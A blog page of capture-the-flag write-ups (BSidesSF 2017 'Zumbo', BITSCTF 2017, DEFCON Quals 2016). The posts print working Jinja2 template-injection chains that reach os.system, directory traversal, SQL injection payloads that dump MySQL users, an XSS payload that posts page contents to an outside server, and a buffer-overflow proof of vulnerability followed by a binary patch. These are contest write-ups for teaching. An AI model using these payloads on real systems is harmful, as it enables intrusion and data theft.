Showing posts with label robots. Show all posts
Showing posts with label robots. Show all posts

Tuesday, February 14, 2017

BSidesSF 2017 - Web: Zumbo




The Google & Synack sponsored BSidesSF CTF was fantastic this year! From easier challenges to difficult, and some very innovative for challenges, it was a lot of fun to play!


 

Zumbo 1 (20)


On Zumbo we start off on the route 'index.template' - http://zumbo-8ac445b1.ctf.bsidessf.net/index.template

Attempting to hit robots.txt, we get this odd message: [Errno 2] No such file or directory: u'robots.txt'

The python unicode string instantly stuck out identifying this as a python backend.

Looking at the source of index.template, we get this nice comment towards the bottom:

<!-- page: index.template, src: /code/server.py -->

Next, it was time to check out server.py to see if it exists, visiting http://zumbo-8ac445b1.ctf.bsidessf.net/server.py we get:

import flask, sys, os
import requests

app = flask.Flask(__name__)
counter = 12345672


@app.route('/')
def custom_page(page):
    if page == 'favicon.ico': return ''
    global counter
    counter += 1
    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)
    template += "\n\n" % (page, __file__)
    return flask.render_template_string(template, name='test', counter=counter);

@app.route('/')
def home():
    return flask.redirect('/index.template');

if __name__ == '__main__':
    flag1 = 'FLAG: FIRST_FLAG_WASNT_HARD'
    with open('/flag') as f:
            flag2 = f.read()
    flag3 = requests.get('http://vault:8080/flag').text

    print "Ready set go!"
    sys.stdout.flush()
    app.run(host="0.0.0.0")


And with that, we've already completed Zumbo 1! Dropping the flag:

FLAG: FIRST_FLAG_WASNT_HARD



Zumbo 2 (100)


The next flag was located in the file /flag on the server. This next part was solved by a team-mate very quickly, but here's how it was done:

http://zumbo-8ac445b1.ctf.bsidessf.net/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/flag

FLAG: RUNNER_ON_SECOND_BASE

This was just urlencoded directory traversal, nice! :) So now we can read any file on the server as well.



Zumbo 3 (250)

This next part ended up taking a while to complete.  Because there was a load balancer setup on the server, it added an element of difficulty to read & write files using two commands.

In the beginning of this blog post we see that there's the python unicode strings being dumped to the page:

[Errno 2] No such file or directory: u'robots.txt'


This comes from this section in the code:

    try:
        template = open(page).read()
    except Exception as e:
        template = str(e)

It's nice we're able to get some output from the server. After a few attempts checking string escaping, we look elsewhere. Stumbling on a few blog posts about python server exploitation was invaluable. The main ones we ended up referring to were:

Part II of the article from nvisium turned out to be the intended solution.  After trying that one out multiple times and failing, I ended up doing it the hard way, which is what I'll be describing in this post.

All of these articles are about SSTI or Server Side Template Injection.

Here's a very basic example of this:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ 1+1 }}

Which results in the following:

[Errno 2] No such file or directory: u'2'


So we can execute some python! Great! Although we don't have access to everything because of the context of the templating engine. For example:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ print("hello") }}

Results in an ISE:

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.


We can still work with this though. The third article linked was invaluable for stepping through the process, similar to other CTF challenges with python jails.

Looking at an empty string's __mro__ we can access the following classes:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__ }}

[Errno 2] No such file or directory: u"(<type str="">, <type basestring="">, <type object="">)"


Now we can dive into the object class and grab a few other modules, with this we get quite a lot:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__() }}


[Errno 2] No such file or directory: u"[
<type 'type'>,
 <type 'weakref'>,
 <type 'weakcallableproxy'>,
 <type 'weakproxy'>,
 <type 'int'>,
 <type 'basestring'>,
 <type 'bytearray'>,
 <type 'list'>,
 <type 'NoneType'>,
 <type 'NotImplementedType'>,
......

What we're now looking for in here is the method 'warnings.catch_warnings'. This contains linecache which uses os. The os module contains the os.system method, which for us means RCE.

This ends up being at index 59:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59] }}

[Errno 2] No such file or directory: u"<class 'warnings.catch_warnings'>"

Continuing this treasure hunt to find the index of a module inside the list of subclasses & func_globals we land on system:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144] }}

[Errno 2] No such file or directory: u""

Now we can call this with any command!  Let's just curl that url as they do in the python server.py script:

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag') }}

[Errno 2] No such file or directory: u"0"

Unfortunately the stdout doesn't get redirected to us in this case, but that's okay, we can just check a file.

http://zumbo-8ac445b1.ctf.bsidessf.net/{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__.values()[12].__dict__.values()[144]('curl http://vault:8080/flag > /tmp/wubalubadubdub') }}

Now using the directory traversal previously (or using the file module exposed on index 40 of object), we can read in the file!

http://zumbo-8ac445b1.ctf.bsidessf.net/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/tmp/wubalubadubdub

FLAG: BRICK_HOUSE_BEATS_THE_WOLF


This ended up being a little different than the standard technique, it also ended up giving us root on the server instead of just dropping the flag.


Monday, February 6, 2017

BITSCTF 2017 - Web [Batman vs Joker, Message the admin]


Batman vs Joker (30)



Visiting robots.txt instantly told us the type of challenge this would be:

Not Found

The requested URL /sql/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at joking.bitsctf.bits-quark.org Port 80

Looks like we're dealing with SQL injection! If we put a quote mark, we can see an error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' Limit 1' at line 1


With a little fiddling, it looks like we can simply union select two fields and grab whatever data we need.

Starting out with something simple, we try the most basic SQLi statement:

' or 1=1 #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker

So it dumps out a handful of characters from Harry Potter and the Joker. Let's see what else we can find:

' or 1=1  union select 1,@@version #
...
First name:1
Surname: 5.5.54-0+deb8u1

And we have MySQL 5.5.54 we're working with.

' or 1=1  union select user,password from mysql.user #
...
First name:root
Surname: *[redacted_for_article]
First name:debian-sys-maint
Surname: *[redacted_for_article]
First name:tester
Surname: *[redacted_for_article]

Wow, so we actually can dump the root password, that's nice! Thanks!

Then dumping the table information we can see our current CIA record table and an extra one (Joker):

' or 1=1  union select  table_schema,table_name FROM information_schema.tables #

...
Surname: INNODB_CMP_RESET
First name:information_schema
Surname: INNODB_BUFFER_PAGE_LRU
First name:hack
Surname: CIA_Official_Records     <<
First name:hack
Surname: Joker                    <<
First name:mysql
Surname: columns_priv
First name:mysql
...

Using this we can get the column name we're looking for (rather obvious in hindsight):

' or 1=1 union select table_name, column_name FROM information_schema.columns #

...
First name:CIA_Official_Records
Surname: username
First name:CIA_Official_Records
Surname: first_name
First name:CIA_Official_Records
Surname: last_name
First name:Joker
Surname: Flag                   <<<<
First name:Joker
Surname: HaHaHa
First name:columns_priv
Surname: Host
First name:columns_priv
Surname: Db
...

And now to grab the Flag!

' or 1=1 union select 1,Flag from Joker #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker
First name:1
Surname: BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}


BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}



Message the admin (60)


This one went fairly quickly because some recent challenges were very similar. So it was still in muscle memory. The challenge was to send a message to the 'admin' (a PhantomJS server watching for messages), and include some payload to send to them. Most likely a CSRF or XSS challenge.



Hitting robots.txt really quickly we get:

Not Found

The requested URL /xss/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at msgtheadmin.bitsctf.bits-quark.org Port 80

This tells us our assumption about XSS was correct, and we can proceed to include a payload that calls back to our server with some information.

Most initial payloads include document.cookie, but since the most recent challenge was to include page contents, that was the first check to try.

<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js'></script>
<script>
  var x = $('body').html().toString();
  $.post('http://[some-server]/analytics', x);
</script>


Running a server and redirecting the output to an html file, we get this:




BITSCTF{hsr_1s_n0t_cr3ative}



Monday, May 23, 2016

DEFCON CTF Quals 2016 - LEGIT_00003 & Patched





This was one of those challenges I had to dive into a lot of research for. As mentioned in this post - DEFCON CTF Quals 2016 - Easy Prasky

It was the first time I've experienced the CGC infrastructure. A note for next year also is to check the LegitBS blog/twitter stream to find useful obvious hints such as this - https://blog.legitbs.net/2016/05/what-is-decree.html

Psychologically the CGC challenges seemed out of reach and meant for teams with bots already setup, but on second thought how many of those teams really exist out there? So we decided to take a whack at it out of pure curiosity.




Let's play Robot.


First thing's first, we'll try connecting to the server:

$ nc legit_00003_25e9ac445b159a3d5cf1d52aea007100.quals.shallweplayaga.me 32648
How many bytes is your POV?
4
Ok...send it
AAAA
Successfully received
# launching cb-server --insecure -p 2660 -m 1 -d /home/legit_00003 --negotiate -t 30 -c 0 legit_00003
# launching sleep 100


Interesting, much different than the previous challenge we did (easy-prasky) where it wanted base64 encoded input. This looks a lot more like a custom environment setup for receiving challenge solutions, it had a taste of custom CGC code again, just like when we first saw the strings output on the previous binary.


Exploitation was very simple (mainly need to get eip control & one register for these challenges). It happened almost instantly:

vagrant@v:/vagrant$ ulimit -c unlimited

vagrant@v:/vagrant$ ./legit_00003
1) Gimme Name
2) Print Name
3) Exit
: 1
Enter Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

vagrant@v:/vagrant$ gdb ./legit_00003 core
...
(gdb) bt
#0  0x08048201 in ?? ()
#1  0x08048330 in ?? ()
#2  0x41414141 in ?? ()
#3  0xbaaaaf82 in ?? ()

This wasn't quite it, but more on that later...

It's also interesting to note that a lot of the CGC environment had to be built around the custom CGC format. You can see this by browsing their github page - https://github.com/CyberGrandChallenge

We see things in here such as "clang-cgc", "binutils", "strace", "gdb", "readcgcef", etc.

Also worth noting "cb-testing", "cgc-release-documentation", "cgc2elf", "pov-xml2c" and "samples" - but we'll get to those later.

They also have a full testing framework setup for verifying PoV's (Proof of Vulnerabilities).
This became invaluable when testing for the final result. During the competition I thought how nice this could be verifying automated intelligent fuzzing & exploration attempts.


The first thing I did was create a small python script to generate a pov xml file for us. I'll post it here, though we didn't end up using this at all for the final result.

#!/usr/bin/env python

TEMPLATE = """
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-replay/replay.dtd">
<pov>
<cbid>service</cbid>
<replay>{}</replay>
</pov>
"""

def createReadString(data):
  return "<read><length>{}</length><match><data>{}</data></match></read>\n".format(len(data), data)

def createWriteString(data):
  return "<write><data>{}</data></write>\n".format(data)


def main():
  a = "\n"
  a += createReadString("1) Gimme Name")
  a += createReadString("2) Print Name")
  a += createReadString("3) Exit")
  a += createReadString(":")
  a += createWriteString(1)
  a += createReadString("Enter Name:")
  a += createWriteString("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB")
  
  print TEMPLATE.format(a)

if __name__ == "__main__":
  main()


Something about the POV format was very recognizable, even though it was in a nasty XML format, it was very similar to using pwntools where you read some strings, write some strings and have some constants supplied for various overwrites.
After a lot of trial and error, I ended up forming this file all by hand. It also took me a while to find that the remote server wanted a binary POV, not an XML one.

This repo is what really what helped it click for me. We needed a povxml file with a negotiation, including a IP & Reg var provided with the payload. Also had read through the XML DTD Spec for POV structure - https://github.com/CyberGrandChallenge/cgc-release-documentation/blob/master/cfe-pov.dtd



Another useful place to look was the CGC docs site: http://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/understanding-cfe-povs/
(Same content as what was shown on GitHub, but a little more readable & organized.)

The service template provided a very nice povxml example to work with:

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE cfepov SYSTEM "/usr/share/cgc-docs/cfe-pov.dtd">
<cfepov>
<cbid>service</cbid>
<replay>
    <negotiate>
        <type1>
            <ipmask>0xFEFEFEFE</ipmask>
            <regmask>0xFEFEFEFE</regmask>
            <regnum>2</regnum>
        </type1>
    </negotiate>
    <read echo="yes"><delim>\n</delim></read>
    <read echo="yes"><delim>\n</delim></read>
    <write echo="yes">
        <data>ABC</data>
        <var>TYPE1_IP</var>
        <var>TYPE1_REG</var>
        <data>\n</data>
    </write>
    <!-- <read><length>1</length></read> -->
</replay>
</cfepov>


This could also help with setting up the environment, but I found I was deleting more than if I constructed it from scratch:

cp -r /usr/share/cgc-sample-challenges/templates/service-template/ /vagrant/my-cb


So how do we build this PoV ?

Thanks to @unixist for pointing out that vagrant mounts the outside directory to /vagrant in the VM, that was incredibly useful when trying out various tools and when it came to patching this LEGIT_00003 binary.

First let's start by creating a pov directory in the home drive of the vagrant box. We need to drop a Makefile in here to facilitate the creation of pov binaries and validation of those pov's as well as any patched binaries we may have.

The directory structure should looks something like this:

vagrant@v:~/pov$ ll

drwxr-xr-x  6 vagrant vagrant 4.0K May 22 23:12 .
drwxr-xr-x 16 vagrant vagrant 4.0K May 22 23:12 ..
drwxr-xr-x  2 vagrant vagrant 4.0K May 22 23:12 bin
  -rwxr-xr-x  1 vagrant vagrant  86K May 22 18:58 LEGIT_00003
  -rwxr-xr-x  1 vagrant vagrant  86K May 22 18:58 LEGIT_00003_patched
-rw-r--r--  1 vagrant vagrant  143 May 22 08:42 Makefile
drwxr-xr-x  2 vagrant vagrant 4.0K May 22 23:12 pov
  -rw-r--r--  1 vagrant vagrant 1.1K May 22 19:10 POV_00001.povxml


The Makefile looks like this (modified from one of the samples):

AUTHOR_ID  = LEGIT
SERVICE_ID = 00003
CFLAGS     = -O0 -g -Werror -Wno-overlength-strings -Wno-packed

include /usr/share/cb-testing/cgc-cb.mk

The two binaries in the bin directory are just copies of the same one pulled from the legit_00003 challenge description.

The POV we'll get to soon.

First we need to fix that exploit. Last we saw it was segfaulting, but for the wrong reason. I'm usually caught up doing forensics, stego or web challenges for CTF's so I reached out to @Matir and he mentioned that it's calling some other functions before returning to 0x41414141, obvious in retrospect, but very helpful for figuring out what was wrong with my current approach.

If you remember we have something like this:

(gdb) bt
#0  0x08048201 in ?? ()
#1  0x08048330 in ?? ()
#2  0x41414141 in ?? ()
#3  0xbaaaaf82 in ?? ()

But we want something like this:

(gdb) bt
#0  0x41414141 in ?? ()

In GDB/Radare2 we can start to see our problem:

(gdb) x/i 0x08048201
=> 0x8048201: mov    BYTE PTR [ecx+eax*1],dl
(gdb) i r eax
eax            0x0 0
(gdb) i r ecx
ecx            0x41414141 1094795585
(gdb) i r dl
dl             0x6e 110





It's attempting to load 0x6e into the memory address of [ecx+eax*1] or [0x41414141] .. This is not going to work.

My first instinct (which is what I stuck with) was to just throw a stack value there instead. My initial POV was looking for ecx (1)

Note again the Regnum values here: http://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/understanding-cfe-povs/


So after grabbing an arbitrary stack value and pushing that into the area which will be consumed @ 0x8048201 instead seemed to work:

echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA_EBP_EIP\n' | ./legit_00003
Segmentation fault (core dumped)

or

$ echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA\xef\xbe\xad\xde\xd3\xc0\xde\xfa\n' | ./legit_00003
Segmentation fault (core dumped)

$ gdb ./legit_00003 core
#0  0xfadec0d3 in ?? ()

(gdb) i r
eax            0x48 72
ecx            0xbaaaaeaa -1163219286
edx            0xbaaaae47 -1163219385
ebx            0x0 0
esp            0xbaaaaf3c 0xbaaaaf3c
ebp            0xdeadbeef 0xdeadbeef
esi            0x41414141 1094795585
edi            0x0 0
eip            0xfadec0d3 0xfadec0d3
eflags         0x10296 [ PF AF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x7b 123
gs             0x7b 123
(gdb)


Now we can have a working exploit and can add it to the POV!

Remember we need EIP control & some register control in this Type 1 POV.
We also want to specify EBP as our controlled register, so looking that up, we can see it has the regnum of 5.

These two variables stand in to test that the EIP & register values have been tainted. So be sure to add these in the appropriate locations where your EIP control is and register control.

        <var>TYPE1_REG</var>
        <var>TYPE1_IP</var>


This was what I ended up with for the final PoV XML file used for testing LEGIT_00003 & LEGIT_00003_patched:

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE cfepov SYSTEM "/usr/share/cgc-docs/cfe-pov.dtd">
<cfepov>
<cbid>LEGIT_00003</cbid>
<replay>
    <negotiate>
        <type1>
            <ipmask>0xFFFFFFFF</ipmask>
            <regmask>0xFFFFFFFF</regmask>
            <regnum>5</regnum>
        </type1>
    </negotiate>
    <read echo="yes"><delim>\n</delim><match><data>1) Gimme Name\n</data></match></read>
    <read echo="yes"><delim>\n</delim><match><data>2) Print Name\n</data></match></read>
    <read echo="yes"><delim>\n</delim><match><data>3) Exit\n</data></match></read>
    <read echo="yes"><length>1</length><match><data>:</data></match></read>
    <write echo="yes"><data>1\n</data></write>
    <read echo="yes"><length>12</length><match><data> Enter Name:</data></match></read>
    <write echo="yes">
        <!-- echo $'1\nIIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA_EBP_EIP\n' | ./legit_00003 -->
        <data>IIIIBBBBCCCCDDDDEEEEFFFFGGGGHHHH\xaa\xae\xaa\xbaAAAA</data>
        <var>TYPE1_REG</var>
        <var>TYPE1_IP</var>
        <data>\n</data>
    </write>
    <!-- <read><length>1</length></read> -->
</replay>
</cfepov>


Running make in the ~/pov directory, it successfully runs the pov against the challenge binary, expecting it to core, and checking the eip/reg control.

The binary POV will be dropped in the same pov directory as your *.povxml files. Now that we have this, we can send it back to the challenge server:

 $ (echo `cat pov-for-00004|wc -c` && cat ./pov-for-00004; cat) | nc legit_00003_25e9ac445b159a3d5cf1d52aea007100.quals.shallweplayaga.me 32648

How many bytes is your POV?
Ok...send it
Successfully received
# launching cb-server --insecure -p 2660 -m 1 -d /home/legit_00003 --negotiate -t 30 -c 0 legit_00003
# launching sleep 100
# launching cb-replay-pov --host 127.114.161.48 --port 2660 --timeout 30 --negotiate /tmp/b9931a34-7a0c-481d-b9b7-5055f96396ec.pov
# cb-server: connection from: 127.0.0.1:44913
# cb-server: negotation flag: 1
# cb-server: seed: D0EAEE8925846776B1F7E6381A7EB7459474AAAA0E88F400731002D0BAF547A1DAA63E08F4E9F4535A49F29007982E34
# cb-server: stat: legit_00003 filesize 88052
# cb-server: register states - eax: 00000048 ecx: baaaaeaa edx: baaaae47 ebx: 00000000 esp: baaaaf3c ebp: e7afc747 esi: 41414141 edi: 00000000 eip: 232e83bd
# cb-server: CB generated signal (pid: 22, signal: 11)
# cb-server: total children: 1
# cb-server: total maxrss 0
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 1581820
# cb-server: total sw-task-clock 1581455
# /tmp/b9931a34-7a0c-481d-b9b7-5055f96396ec.pov
# using seed: d0eaee8925846776b1f7e6381a7eb7459474aaaa0e88f400731002d0baf547a1daa63e08f4e9f4535a49f29007982e34
# negotiation type: 1
# type 1 masks: ffffffff ffffffff
# type 1 pov: 232e83bd e7afc747 5
# POV type 1 negotiated masks: ffffffff ffffffff 5
ok - TYPE 1 POV
The flag is: Superman, Stuporhero and a Massachusetts Slurpee.


The wc in the front was to give it the amount of bytes for the received binary, and cat is there to sustain the connection.

The flag is: Superman, Stuporhero and a Massachusetts Slurpee.




Now onto patching.....

Only 30 minutes was left on the clock when I decided to go for the patch on this, could've given up easily but decided to go for it!

The POV has been built to check both the unpatched CB and the patched one (currently sitting the same exact binary as the unpatched). Currently when running the cb-replay / cb-test we get only the unpatched expected core passing.

So the next step is to fix the vulnerability, let's fire up radare2 again and see what we can find.

First starting to look at where the closest stdout is to the vulnerability, seeking to the XRef related to that string.

[0x08048110]> iz | grep -i enter
vaddr=0x08049467 paddr=0x00001467 ordinal=001 sz=13 len=12 section=.rodata type=ascii string=Enter Name:



Here we are.. 0x08048280.

Notice the two highlighted matches of 0x30, the second one is the immediate we need to modify.

We can open the binary up in read-write mode with the following command:

:> oo+
File ./legit_00003 reopened in read-write mode


Seeking to 0x080482e4 we see the culprit to modify.



In radare2, patching this is as simple as using the interactive assembler, you can get to this by hitting A in visual mode (loved utilizing this for patching GitSC's Pwn Adventures).



Using .hex, we can insert hex instead of asm instructions. Since we just need to change that immediate, it makes the change very simple, one character:





Changing 0x30 to 0x20 may not be reasonable in production code specs, but it works to solve the vulnerability.

Exiting out of the interactive assembler will ask you to save, simply press Y and you've got a patched CGC binary!

Now we can switch back over to our Vagrant VM and try it out, copying the new patched file to ./bin/LEGIT_00003_patched

Before copying it over we got the message:

cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003.pov.txt --failure_ok --should_core --cb LEGIT_00003
cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003_patched.pov.txt --failure_ok --cb LEGIT_00003_patched
# not ok - POV type 1 expected to not core, but did. (signal 11: SIGSEGV)
make: *** [check] Error 255


After the copy we get:

cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003.pov.txt --failure_ok --should_core --cb LEGIT_00003
cb-test --negotiate --xml_dir pov --directory bin --log build/LEGIT_00003_patched.pov.txt --failure_ok --cb LEGIT_00003_patched


Aaand sending it to the server:

$ (echo `cat legit_00003_p1|wc -c` && cat ./legit_00003_p1; cat) | nc legit_00003_patch_01852870a8d9ad56a54d832d5cc62dad.quals.shallweplayaga.me 17225
How many bytes is your patched CB?
Ok...send it
Successfully received
# launching cb-server --insecure -p 2305 -m 10 -d /tmp --negotiate -t 30 -c 0 9b232bba-6bd3-4843-b69a-777b9be006d9
# launching sleep 100
# launching cb-replay --host 127.177.251.145 --port 2305 --timeout 30 --negotiate /home/legit_00003_patch/polls/GEN_00000.xml /home/legit_00003_patch/polls/GEN_00001.xml /home/legit_00003_patch/polls/GEN_00002.xml /home/legit_00003_patch/polls/GEN_00003.xml /home/legit_00003_patch/polls/GEN_00004.xml /home/legit_00003_patch/polls/GEN_00005.xml /home/legit_00003_patch/polls/GEN_00006.xml /home/legit_00003_patch/polls/GEN_00007.xml /home/legit_00003_patch/polls/GEN_00008.xml /home/legit_00003_patch/polls/GEN_00009.xml
# cb-server: connection from: 127.0.0.1:48580
# cb-server: negotation flag: 1
# cb-server: seed: C31E3A7F7869159E2B9CB43DFDF71A509D459BF64010E5C8B9EA2B89896F61145307C2DCCE5D7E39B8F1F653C25FDCB0
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 24, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4450239
# cb-server: total sw-task-clock 4458616
# cb-server: CB exited (pid: 23, exit code: 0)
# cb-server: connection from: 127.0.0.1:45363
# cb-server: negotation flag: 1
# cb-server: seed: 8E93095CDF61C2655E80F1CAF35119A78E1B2F275853E045176326358DAF83E6D9F8B4326B61A736F284641E4ABB9F55
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 26, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4435595
# cb-server: total sw-task-clock 4443390
# cb-server: CB exited (pid: 25, exit code: 0)
# cb-server: connection from: 127.0.0.1:53608
# cb-server: negotation flag: 1
# cb-server: seed: 62E5D85E053740972A5687C15990154513D19189651CD65967C9BB9ED208B3714B46F809403681A19F521364AA3D83B8
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 28, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4415443
# cb-server: total sw-task-clock 4426033
# cb-server: CB exited (pid: 27, exit code: 0)
# cb-server: connection from: 127.0.0.1:35391
# cb-server: negotation flag: 1
# cb-server: seed: 62882C9E2CD5D660DB1C7E4AD15EA760A84F2B66E480F570BA9497553B76CB26C1C288A809CDD3B1EC03A4F914AE0B46
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 30, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4571481
# cb-server: total sw-task-clock 4582952
# cb-server: CB exited (pid: 29, exit code: 0)
# cb-server: connection from: 127.0.0.1:53001
# cb-server: negotation flag: 1
# cb-server: seed: FE202FB0E028B1BCECED407241BD9907910F91D80BF3A04AA71F4DE7C5787F168D067D3E75E5626CB82C322DBFCB7BB9
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 32, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4356517
# cb-server: total sw-task-clock 4366848
# cb-server: CB exited (pid: 31, exit code: 0)
# cb-server: connection from: 127.0.0.1:44519
# cb-server: negotation flag: 1
# cb-server: seed: 581D18F2BDBE875F5803017FCDF767345A5BAEEE3BA701FA6D6701DDFBA087F6AB6D7318FA2B510078D45A264F673277
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 34, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4450227
# cb-server: total sw-task-clock 4463487
# cb-server: CB exited (pid: 33, exit code: 0)
# cb-server: connection from: 127.0.0.1:42282
# cb-server: negotation flag: 1
# cb-server: seed: 5F22F45B9F220ACECB404BC22EE28BF7740B6C0EB675AFD73491577F8A683E8ABC12683C772CF8907E6ED091A72E829F
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 36, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4605634
# cb-server: total sw-task-clock 4616619
# cb-server: CB exited (pid: 35, exit code: 0)
# cb-server: connection from: 127.0.0.1:39070
# cb-server: negotation flag: 1
# cb-server: seed: C109ECE1C065013EBE5CA0B69B19225F78504B2F2ADF8917FF647F198D8C0C4099043B1A86E73462613DC5F2122EF3E2
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 38, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4430579
# cb-server: total sw-task-clock 4440284
# cb-server: CB exited (pid: 37, exit code: 0)
# cb-server: connection from: 127.0.0.1:50055
# cb-server: negotation flag: 1
# cb-server: seed: E15B879DD393A94B25D31579199FB88019CF66759F84D78D8D1CE34ABBD9F933029000384F33966B0B2FF75F40685A05
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 40, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4422995
# cb-server: total sw-task-clock 4434465
# cb-server: CB exited (pid: 39, exit code: 0)
# cb-server: connection from: 127.0.0.1:34554
# cb-server: negotation flag: 1
# cb-server: seed: 902858EA8E288D6648944B6CEB914E72B214512BE3E3D91B362486159521576554C1B07A6BCE8C59605DB9B763D83521
# cb-server: stat: 9b232bba-6bd3-4843-b69a-777b9be006d9 filesize 88052
# cb-server: CB exited (pid: 42, exit code: 0)
# cb-server: total children: 1
# cb-server: total maxrss 24
# cb-server: total minflt 6
# cb-server: total utime 0.000000
# cb-server: total sw-cpu-clock 4033543
# cb-server: total sw-task-clock 4039591
# cb-server: CB exited (pid: 41, exit code: 0)
# negotiating seed as c31e3a7f7869159e2b9cb43dfdf71a509d459bf64010e5c8b9ea2b89896f61145307c2dcce5d7e39b8f1f653c25fdcb0
# service - /home/legit_00003_patch/polls/GEN_00000.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 12 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
# negotiating seed as 8e93095cdf61c2655e80f1caf35119a78e1b2f275853e045176326358daf83e6d9f8b4326b61a736f284641e4abb9f55
# service - /home/legit_00003_patch/polls/GEN_00001.xml
# connected to ('127.177.251.145', 2305)
ok 1 - match: string
ok 2 - match: string
ok 3 - match: string
ok 4 - match: string
ok 5 - write: sent 2 bytes
ok 6 - match: string
ok 7 - write: sent 17 bytes
ok 8 - match: string
ok 9 - match: string
ok 10 - match: string
ok 11 - match: string
ok 12 - write: sent 2 bytes
ok 13 - match: string
ok 14 - match: string
ok 15 - match: string
ok 16 - match: string
ok 17 - match: string
ok 18 - write: sent 2 bytes
ok 19 - match: string
# tests passed: 19
# tests failed: 0
